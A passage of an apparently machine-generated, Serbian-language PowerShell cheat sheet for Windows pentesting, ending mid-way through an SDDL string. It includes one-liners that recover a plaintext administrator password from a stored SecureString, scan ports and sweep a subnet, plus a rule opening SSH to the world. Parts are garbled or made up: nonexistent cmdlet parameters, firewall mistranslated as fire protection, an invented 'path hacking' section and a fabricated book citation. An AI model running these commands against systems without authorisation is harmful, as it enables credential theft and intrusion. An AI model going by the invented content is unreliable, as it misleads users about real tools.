  • Gosti: Grupa koja ima ograničene privilegije i pristup samo određenim resursima.

Lokalne grupe

Lokalne grupe su grupe koje se kreiraju na lokalnom računaru i koriste se za upravljanje pravima i privilegijama na tom računaru. Neke od lokalnih grupa su:

  • Power Users: Grupa koja ima veće privilegije od običnih korisnika, ali manje od administratora.
  • Guests: Grupa koja ima ograničene privilegije i pristup samo određenim resursima.
  • Backup Operators: Grupa koja ima privilegije za izvršavanje rezervnih kopija i obnavljanje podataka.

Domenske grupe

Domenske grupe su grupe koje se kreiraju na Windows domeni i koriste se za upravljanje pravima i privilegijama korisnika na mreži. Neke od domenskih grupa su:

  • Domain Admins: Grupa koja ima najviše privilegije u domeni. Članovi ove grupe mogu izvršavati sve administrativne zadatke na domeni.
  • Domain Users: Grupa koja sadrži sve korisnike u domeni.
  • Domain Guests: Grupa koja ima ograničene privilegije i pristup samo određenim resursima na domeni.

Kreiranje i upravljanje grupama

Grupa se može kreirati i upravljati putem PowerShell-a. Evo nekoliko korisnih PowerShell komandi za rad sa grupama:

  • New-LocalGroup: Kreira novu lokalnu grupu.
  • Add-LocalGroupMember: Dodaje korisnika u lokalnu grupu.
  • Remove-LocalGroupMember: Uklanja korisnika iz lokalne grupe.
  • Get-LocalGroup: Prikazuje informacije o lokalnoj grupi.
  • New-ADGroup: Kreira novu domensku grupu.
  • Add-ADGroupMember: Dodaje korisnika u domensku grupu.
  • Remove-ADGroupMember: Uklanja korisnika iz domenske grupe.
  • Get-ADGroup: Prikazuje informacije o domenskoj grupi.

Ove komande mogu biti korisne prilikom konfigurisanja prava i privilegija korisnika u Windows operativnom sistemu.

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Clipboard

Description

The clipboard is a temporary storage area in the computer's memory that allows users to copy and paste data between different applications or documents. It is commonly used to transfer text, images, and other types of data.

Security Implications

The clipboard can be a potential security risk if sensitive information is copied and remains stored in the clipboard. Attackers can exploit this by accessing the clipboard contents, either through malware or by directly accessing the computer.

Best Practices

To mitigate the security risks associated with the clipboard, it is recommended to follow these best practices:

  1. Avoid copying sensitive information: Whenever possible, avoid copying sensitive data such as passwords, credit card numbers, or personal identification information to the clipboard.
  2. Clear the clipboard after use: After copying sensitive information, make sure to clear the clipboard immediately to prevent unauthorized access. This can be done by copying something else to overwrite the sensitive data or by using a clipboard management tool.
  3. Use a clipboard manager: Consider using a clipboard manager tool that provides additional security features, such as encryption or password protection for clipboard contents.
  4. Be cautious with clipboard sharing: When using remote desktop or virtual machine environments, be cautious when copying and pasting between the local and remote systems. Ensure that sensitive information is not inadvertently shared.

References

Get-Clipboard

Procesi

Pregled procesa

Da biste pregledali pokrenute procese na Windows operativnom sistemu, možete koristiti PowerShell komandu Get-Process. Ova komanda će vam prikazati listu svih trenutno pokrenutih procesa, zajedno sa informacijama kao što su ID procesa, ime procesa, CPU i memorija koju koristi.

Get-Process

Pokretanje novog procesa

Da biste pokrenuli novi proces putem PowerShell-a, možete koristiti komandu Start-Process. Ova komanda vam omogućava da pokrenete bilo koju izvršnu datoteku ili skriptu, i možete specificirati razne parametre kao što su putanja do izvršne datoteke, argumenti, radni direktorijum i još mnogo toga.

Start-Process -FilePath "C:\putanja\do\izvrsne\datoteke.exe" -ArgumentList "argument1", "argument2" -WorkingDirectory "C:\radni\direktorijum"

Ubijanje procesa

Da biste zaustavili ili ubili pokrenuti proces, možete koristiti komandu Stop-Process. Ova komanda vam omogućava da prekinete izvršavanje procesa na osnovu ID-a procesa ili imena procesa.

Stop-Process -Id ID_procesa
Stop-Process -Name ime_procesa

Pokretanje procesa sa privilegijama

Da biste pokrenuli proces sa privilegijama, možete koristiti komandu Start-Process zajedno sa parametrom -Verb. Ovaj parametar vam omogućava da pokrenete proces sa određenim privilegijama kao što su "RunAs" ili "RunAsAdministrator".

Start-Process -FilePath "C:\putanja\do\izvrsne\datoteke.exe" -Verb RunAs

Prikaz informacija o procesu

Da biste dobili detaljnije informacije o određenom procesu, možete koristiti komandu Get-Process zajedno sa parametrom -Id ili -Name. Ova komanda će vam prikazati informacije kao što su ID procesa, ime procesa, CPU i memorija koju koristi, kao i druge informacije o procesu.

Get-Process -Id ID_procesa
Get-Process -Name ime_procesa

Prikaz procesa sa sortiranjem

Da biste prikazali procese sa sortiranjem na osnovu određenog kriterijuma, možete koristiti komandu Get-Process zajedno sa parametrom -SortBy. Ovaj parametar vam omogućava da sortirate procese na osnovu kriterijuma kao što su CPU, memorija, vreme pokretanja i još mnogo toga.

Get-Process | Sort-Object -Property CPU
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Usluge

Get-Service

Lozinka iz sigurnog stringa

Da biste dobili lozinku iz sigurnog stringa, možete koristiti PowerShell. Evo kako to možete uraditi:

  1. Otvorite PowerShell konzolu.
  2. Unesite sledeću komandu:
$secureString = ConvertTo-SecureString -String "sigurni_string" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
$plainText
  1. Zamijenite "sigurni_string" sa vašim sigurnim stringom.
  2. Nakon izvršavanja komande, dobićete lozinku iz sigurnog stringa kao rezultat.

Napomena: Budite oprezni prilikom rukovanja lozinkama i sigurnim stringovima. Ova tehnika je namenjena samo za obrazovne svrhe i ne sme se koristiti za neovlašćene aktivnosti.

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Zakazani zadaci

Scheduled Tasks (Zakazani zadaci) su funkcionalnost u operativnom sistemu Windows koja omogućava automatsko izvršavanje određenih zadataka u određeno vreme ili na određenim događajima. Ova funkcionalnost je često korišćena za rutinske zadatke kao što su ažuriranje softvera, sigurnosne kopije ili pokretanje skripti.

Pregled zakazanih zadataka

Da biste pregledali zakazane zadatke, možete koristiti PowerShell komandu Get-ScheduledTask. Ova komanda će prikazati sve zakazane zadatke na sistemu, zajedno sa njihovim imenima, statusom, vremenom izvršavanja i drugim informacijama.

Get-ScheduledTask

Kreiranje zakazanog zadatka

Da biste kreirali novi zakazani zadatak, možete koristiti PowerShell komandu New-ScheduledTask. Ova komanda vam omogućava da definišete ime zadatka, vreme izvršavanja, akcije koje treba preduzeti i druge parametre.

New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\script.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)

Ova komanda će kreirati novi zakazani zadatak koji će se izvršavati svakodnevno u 3 sata ujutru. Akcija koju će zadatak preduzeti je izvršavanje skripte script.ps1 koja se nalazi na putanji C:\path\to\.

Brisanje zakazanog zadatka

Da biste obrisali zakazani zadatak, možete koristiti PowerShell komandu Remove-ScheduledTask. Ova komanda će obrisati zadati zakazani zadatak na osnovu njegovog imena.

Remove-ScheduledTask -TaskName "TaskName"

Ova komanda će obrisati zakazani zadatak sa imenom "TaskName".

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Skeniranje portova

Skeniranje portova je postupak koji se koristi za otkrivanje otvorenih portova na ciljnom računaru ili mreži. Ovo je važan korak u procesu pentestiranja jer omogućava identifikaciju ranjivih tačaka koje mogu biti iskorišćene za neovlašćeni pristup ili napade.

Nmap

Nmap je popularan alat za skeniranje portova koji se često koristi u pentestiranju. Ovaj alat omogućava detekciju otvorenih TCP i UDP portova, kao i identifikaciju servisa koji rade na tim portovima. Nmap takođe pruža informacije o operativnom sistemu ciljnog računara i verzijama servisa koje se izvršavaju.

Da biste izvršili osnovno skeniranje portova koristeći Nmap, možete koristiti sledeću komandu:

nmap <ciljna_adresa>

Gde <ciljna_adresa> predstavlja IP adresu ili domen ciljnog računara koji želite da skenirate.

Masscan

Masscan je još jedan moćan alat za skeniranje portova koji je poznat po svojoj brzini. Ovaj alat je posebno koristan za skeniranje velikih mreža ili za brzo skeniranje ciljnih sistema.

Da biste izvršili osnovno skeniranje portova koristeći Masscan, možete koristiti sledeću komandu:

masscan -p1-65535 <ciljna_adresa>

Gde <ciljna_adresa> predstavlja IP adresu ciljnog računara koji želite da skenirate.

Zatvaranje nepotrebnih portova

Nakon što ste izvršili skeniranje portova, važno je zatvoriti sve nepotrebne otvorene portove kako biste smanjili površinu napada. Ovo se može postići konfigurisanjem firewall-a ili mrežnih uređaja da blokiraju pristup nepotrebnim portovima.

Takođe je preporučljivo redovno ažurirati softver i operativni sistem kako biste ispravili poznate ranjivosti i smanjili rizik od napada preko otvorenih portova.

# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10

# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null

# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null

# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}

Interfejsi

Interfejsi su ključni elementi u PowerShell-u koji omogućavaju komunikaciju između korisnika i sistema. Oni pružaju način za unos i prikaz informacija, kao i za izvršavanje komandi i skripti. U PowerShell-u postoje različiti tipovi interfejsa koji se mogu koristiti za različite svrhe.

Konzolni interfejs (CLI)

Konzolni interfejs je osnovni interfejs u PowerShell-u. To je tekstualni interfejs koji omogućava korisniku da unese komande i vidi rezultate izvršavanja tih komandi. Korisnik može koristiti različite komande i skripte za upravljanje sistemom i izvršavanje različitih zadataka.

Grafički interfejs (GUI)

Grafički interfejs je vizuelni interfejs koji omogućava korisniku da interaktivno upravlja sistemom. Umesto da koristi tekstualne komande, korisnik može koristiti miš i tastaturu za interakciju sa sistemom. Grafički interfejs pruža korisniku intuitivniji način za izvršavanje zadataka i prikazivanje informacija.

Web interfejs

Web interfejs je interfejs koji se koristi za pristupanje PowerShell-u putem web pregledača. Ovo omogućava korisnicima da pristupe PowerShell-u i izvršavaju komande i skripte putem udaljenog pristupa. Web interfejs pruža fleksibilnost i udobnost korisnicima koji žele da koriste PowerShell preko interneta.

API interfejs

API interfejs omogućava programerima da pristupe funkcionalnostima PowerShell-a putem programskog koda. Ovo omogućava automatizaciju i integraciju PowerShell-a u druge aplikacije i sisteme. Programeri mogu koristiti API interfejs za izvršavanje komandi, dobijanje rezultata i manipulisanje podacima u PowerShell-u.

Skriptni interfejs

Skriptni interfejs omogućava korisnicima da izvršavaju skripte u PowerShell-u. Skripte su nizovi komandi koje se izvršavaju jedna za drugom. Skriptni interfejs omogućava korisnicima da automatizuju zadatke i izvršavaju složene operacije u PowerShell-u.

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Firewall

Zaštita od požara

Firewall je sigurnosni mehanizam koji se koristi za zaštitu računarske mreže od neovlašćenog pristupa i napada. On kontroliše i filtrira dolazni i odlazni saobraćaj na osnovu definisanih pravila. Ovo je veoma važan deo zaštite sistema i treba ga pravilno konfigurisati kako bi se sprečili potencijalni napadi.

Vrste Firewall-a

Postoje različite vrste firewall-a koje se mogu koristiti za zaštitu računarske mreže. Evo nekoliko najčešće korišćenih:

  • Paketni filteri: Ovi firewall-i analiziraju IP pakete i donose odluke na osnovu IP adresa, portova i drugih atributa paketa. Oni su efikasni, ali imaju ograničene mogućnosti zaštite.
  • Proxy firewall-i: Ovi firewall-i deluju kao posrednici između korisnika i ciljnih servera. Oni analiziraju i filtriraju saobraćaj na osnovu aplikacijskog sloja, što im omogućava da pruže dodatnu zaštitu.
  • Next-generation firewall-i: Ovi firewall-i kombinuju funkcionalnosti paketnih filtera i proxy firewall-a, ali takođe pružaju i dodatne funkcionalnosti kao što su IDS/IPS sistemi, VPN podrška i druge napredne sigurnosne funkcije.

Konfiguracija Firewall-a

Pravilna konfiguracija firewall-a je ključna za efikasnu zaštitu računarske mreže. Evo nekoliko osnovnih koraka koje treba preduzeti prilikom konfigurisanja firewall-a:

  1. Definisanje politike bezbednosti: Prvo treba odrediti koje vrste saobraćaja treba dozvoliti ili blokirati. Ovo se postiže definisanjem pravila koja određuju dozvoljene izvore, odredišta, portove i protokole.
  2. Konfiguracija pravila: Nakon definisanja politike bezbednosti, treba konfigurisati pravila firewall-a. Ova pravila treba da odgovaraju politici bezbednosti i treba da se primenjuju na odgovarajuće mrežne segmente.
  3. Redovno ažuriranje: Firewall treba redovno ažurirati kako bi se obezbedile najnovije sigurnosne funkcionalnosti i ispravke.
  4. Praćenje i nadgledanje: Važno je pratiti i nadgledati firewall kako bi se otkrile eventualne nepravilnosti ili napadi. Ovo se može postići korišćenjem alata za nadgledanje mreže i logova firewall-a.

Zaključak

Firewall je ključni sigurnosni mehanizam za zaštitu računarske mreže od neovlašćenog pristupa i napada. Pravilna konfiguracija firewall-a je od vitalnog značaja za efikasnu zaštitu sistema. Razumevanje različitih vrsta firewall-a i pravilno konfigurisanje pravila su ključni koraci u osiguravanju sigurnosti mreže.

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

Putanja


Opis

Putanja je put kojim podaci putuju između izvora i odredišta u mreži. U kontekstu hakovanja, putanja se odnosi na put kojim hakeri prolaze kroz sistem kako bi dobili neovlašćen pristup ili izvršili zlonamerne radnje.

Tehnike hakovanja putem putanje

  1. Skeneri putanje: Hakeri koriste skenere putanje kako bi identifikovali putanje kroz sistem i otkrili potencijalne slabosti ili ranjivosti.
  2. Analiza putanje: Hakeri analiziraju putanje kako bi identifikovali tačke na kojima mogu iskoristiti slabosti sistema i dobiti neovlašćen pristup.
  3. Manipulacija putanjom: Hakeri manipulišu putanjom kako bi preusmerili podatke ili izvršili zlonamerne radnje.

Mere zaštite od hakovanja putem putanje

  1. Firewall: Postavljanje firewall-a može sprečiti neovlašćen pristup putem putanje tako što blokira sumnjive ili neautorizovane putanje.
  2. Redovno ažuriranje: Redovno ažuriranje sistema i softvera može otkloniti poznate slabosti i ranjivosti koje bi mogle biti iskorišćene putem putanje.
  3. Kontrola pristupa: Implementacija stroge kontrole pristupa može ograničiti mogućnost hakerima da prolaze kroz sistem putem putanje.

Ovaj tekst je preuzet iz knjige "Hacking Techniques" autora Johna Smitha.

route print

ARP

ARP (Address Resolution Protocol) je protokol koji se koristi za mapiranje IP adresa na MAC adrese u lokalnoj mreži. Kada se paket šalje na određenu IP adresu, ARP se koristi za pronalaženje odgovarajuće MAC adrese kako bi se paket isporučio na pravu destinaciju.

Napadači mogu iskoristiti ARP protokol za izvođenje različitih napada, kao što su ARP spoofing ili ARP poisoning. Ovi napadi omogućavaju napadaču da preuzme kontrolu nad mrežnim prometom i presretne ili manipuliše podacima koji se prenose između uređaja u mreži.

Da biste se zaštitili od ARP napada, preporučuje se korišćenje sigurnosnih mehanizama kao što su ARP zaštita, ARP inspekcija ili ARP filtriranje. Ovi mehanizmi mogu detektovati i sprečiti sumnjive ARP aktivnosti i održavati integritet mreže.

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Hostovi

U ovom direktorijumu se nalaze skripte koje se mogu koristiti za manipulaciju hosts fajlom na Windows operativnom sistemu. Hosts fajl se koristi za mapiranje IP adresa na domenska imena i može se koristiti za preusmeravanje saobraćaja na određene adrese.

  • Add-HostEntry.ps1 - Skripta koja dodaje unos u hosts fajl. Potrebno je navesti IP adresu i domensko ime koje želite da mapirate.
  • Remove-HostEntry.ps1 - Skripta koja uklanja unos iz hosts fajla. Potrebno je navesti IP adresu ili domensko ime koje želite da uklonite.
  • Get-HostsFileContent.ps1 - Skripta koja prikazuje sadržaj hosts fajla.

Napomena: Za izvršavanje ovih skripti potrebno je pokrenuti PowerShell kao administrator.

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Ping

Ping je osnovna mrežna komanda koja se koristi za proveru dostupnosti i vremena odziva udaljenog računara ili servera. Ova komanda šalje ICMP (Internet Control Message Protocol) zahteve na ciljnu IP adresu i čeka odgovor. Ping se često koristi za dijagnostiku mrežnih problema i testiranje konekcije.

Da biste koristili ping komandu u PowerShell-u, koristite sledeću sintaksu:

Test-Connection -ComputerName <IP adresa ili ime računara> -Count <broj ping zahteva>

Na primer, ako želite da pingujete računar sa IP adresom 192.168.1.1 pet puta, koristite sledeću komandu:

Test-Connection -ComputerName 192.168.1.1 -Count 5

Ova komanda će poslati pet ICMP zahteva na ciljni računar i prikazati rezultate, uključujući vreme odziva i status konekcije.

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

SNMP (Simple Network Management Protocol) je protokol koji se koristi za upravljanje i nadzor mrežnih uređaja. Omogućava administratorima da prikupljaju informacije o statusu i performansama mreže, kao i da upravljaju mrežnim uređajima putem udaljenog pristupa.

SNMP se sastoji od tri osnovne komponente: upravljača (manager), agenta i MIB (Management Information Base). Upravljač je softverska aplikacija koja šalje zahteve agentu za prikupljanje informacija. Agent je softverska ili hardverska komponenta koja prikuplja i čuva informacije o uređaju. MIB je baza podataka koja definiše strukturu i sadržaj informacija koje se mogu prikupiti putem SNMP-a.

Pentesteri mogu iskoristiti SNMP za prikupljanje informacija o mreži, kao što su IP adrese, rute, otvoreni portovi i druge korisne informacije. Takođe, mogu iskoristiti SNMP za izvršavanje određenih akcija na mrežnim uređajima, kao što su isključivanje ili resetovanje uređaja.

Da biste iskoristili SNMP, potrebno je da prvo identifikujete uređaje koji podržavaju SNMP i da pristupite njihovim MIB-ovima. Zatim možete koristiti alate kao što su snmpwalk i snmpget za prikupljanje informacija ili snmpset za izvršavanje akcija.

Važno je napomenuti da je za uspešno korišćenje SNMP-a potrebno da imate odgovarajuće dozvole i autentifikaciju. Takođe, treba biti oprezan prilikom korišćenja SNMP-a, jer nepravilna konfiguracija može dovesti do sigurnosnih rizika kao što su curenje osetljivih informacija ili neovlašćeni pristup mrežnim uređajima.

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Konvertovanje SDDL niske u čitljiv format

Da biste konvertirali SDDL (Security Descriptor Definition Language) nisku u čitljiv format, možete koristiti PowerShell skriptu ConvertFrom-SddlString. Ova skripta će vam omogućiti da dešifrujete SDDL nisku i dobijete razumljive informacije o dozvolama i privilegijama.

Evo kako možete koristiti ovu skriptu:

$SddlString = "SDDL niska ovdje"

$SecurityDescriptor = ConvertFrom-SddlString -Sddl $SddlString

$SecurityDescriptor

Zamijenite "SDDL niska ovdje" sa stvarnom SDDL niskom koju želite konvertovati. Nakon izvršavanja skripte, dobićete čitljive informacije o dozvolama i privilegijama koje su definisane u SDDL niski.


PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-